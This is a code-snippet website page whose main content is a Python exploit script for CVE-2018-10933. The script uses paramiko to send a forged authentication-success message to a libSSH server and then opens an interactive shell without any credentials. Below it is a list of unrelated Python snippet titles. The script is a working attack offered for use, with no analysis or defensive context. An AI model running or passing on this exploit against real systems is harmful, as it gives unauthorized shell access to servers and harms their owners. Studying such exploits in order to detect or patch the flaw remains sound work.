Search
 
SCRIPT & CODE EXAMPLE
 

PYTHON

CVE-2018-10933

#!/usr/bin/env python3
import paramiko
import socket
import argparse
from sys import argv, exit


parser = argparse.ArgumentParser(description="libSSH Authentication Bypass")
parser.add_argument('--host', help='Host')
parser.add_argument('-p', '--port', help='libSSH port', default=22)
parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")

args = parser.parse_args()


def BypasslibSSHwithoutcredentials(hostname, port):
    
    sock = socket.socket()
    try:
        sock.connect((str(hostname), int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()
  
        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)
    
        spawncmd = transport.open_session()
        spawncmd.invoke_shell()
        return 0
    
    except paramiko.SSHException as e:
        print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
        return 1
    except socket.error:
        print("Unable to connect.")
        return 1


def main():
    paramiko.util.log_to_file(args.logfile)
    try:
        hostname = args.host
        port = args.port
    except:
        parser.print_help()
        exit(1)
    BypasslibSSHwithoutcredentials(hostname, port)

if __name__ == '__main__':
    exit(main())
            
Comment

PREVIOUS NEXT
Code Example
Python :: how to change the size of datapoint in plot python 
Python :: function to perform pairs bootstrap estimates on linear regression parameters 
Python :: éliminer le background image python 
Python :: symmetrical sum python 
Python :: close all tables python 
Python :: random playing card generator python 
Python :: matplotlib pie edge width 
Python :: what is the best ide for python 
Python :: python remove header 
Python :: telegram.ext python 
Python :: 1036 solution python 
Python :: k fold CV with xgboost 
Python :: how to convert frame number in seconds python 
Python :: install nsml python 
Python :: how to append dict to dict in python 
Python :: remove df rows if two column values are not matching 
Python :: mosaicplot pandas 
Python :: python selenium set textarea value 
Python :: Code Example of Hashmap in Python 
Python :: pd merge_asof 
Python :: how to use drive link in pandas dataframe 
Python :: how to convert data into numerical dataset 
Python :: numba for python 
Python :: how to record youtube cc in python 
Python :: how to do tail recursion in python 
Python :: how to add to beginning of linked list python 
Python :: python manually trigger exception 
Python :: sorted set in python 
Python :: matplotlib force scientific notation and define exponent 
Python :: print f python 
ADD CONTENT
Topic
Content
Source link
Name
1+9 =